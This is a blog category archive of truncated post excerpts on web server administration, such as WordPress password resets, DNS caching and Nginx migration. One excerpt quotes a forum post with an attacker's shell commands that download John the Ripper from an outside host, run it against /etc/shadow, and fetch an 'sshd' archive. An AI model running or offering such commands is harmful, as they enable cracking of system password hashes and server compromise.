Archive for the ‘Web Server Hacks’ Category

by admin on July 28th, 2010
No Comments
For those of you wondering how to reset your Wordpress admin password via MySQL command line, here’s how to do it: Enter your MySQL command line with something like: mysql -uroot -p Then enter your password. Once inside the MySQL command line do: show databases; and then find your database for ...
by admin on May 22nd, 2010
No Comments
If you have a website that uses a lot of API requests (such as dealing with Twitter), you can save a lot of server load/costs simply by installing DNS caching to your web server. Each DNS request (every time you request from any domain name using an API) takes anywhere between 0 to 500 miliseconds. ...
by admin on March 1st, 2010
No Comments
Just Ping is a service that will ping your website from various different locations in the world. If you want to optimize your site and also wonder how fast it would load in other parts of the world, you can use Just Ping to do just that. Another great feature is that you can also check the IP addr ...
by admin on March 1st, 2010
No Comments
When you change your DNS records, your DNS delegation will usually take more than 12-24 hours on average.  This means that during that time, it might be impossible to check your website. This can be a big problem if you are moving a website to a new server and you can’t check if you’ve ...
by admin on February 17th, 2010
No Comments
I’ve been upgrading Wordpress for almost 4 years now and since I manage about 20 blogs, I have learned to figure out how to upgrade your Wordpress faster than ever using SSH and wget command. For one, you will need a dedicated server/VPS that supports SSH.  Otherwise you won’t be able t ...
by admin on January 23rd, 2010
No Comments
For those of you who are trying to upgrade from PHP 5.2 because your application requires PHP 5.2 or above, you can use this hack to upgrade your web server running CentOS.  Since CentOS doesn’t officially support PHP 5.2 officially yet, this could possibly be a great workaround. Word of caut ...
by admin on January 23rd, 2010
No Comments
If your website does a lot of queries via domain names such as aggregating RSS feeds or even a Twitter app site that accesses Twitter API, you might benefit from installing DNS cache on your linux web server. For most, you would benefit from installing DNS cache because it will save you a ton of tim ...
by admin on December 18th, 2009
No Comments
Here’s a rather interesting forum post that details how hackers hack web servers: w wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd ../run;./john /etc/shadow wget www.geocities.com/securedro/sshd.tar.gz;tar ...
by admin on December 16th, 2009
3 Comments »
Nginx is another super-fast, web server built for handling massive amounts of web traffic. Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn’t leak memory as Lighttpd. Recently I had the pleasure of moving all my web servers from Lighttpd to Ng ...
by admin on October 14th, 2009
3 Comments »
In this blog post, I will show you how to convert a Wordpress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web s ...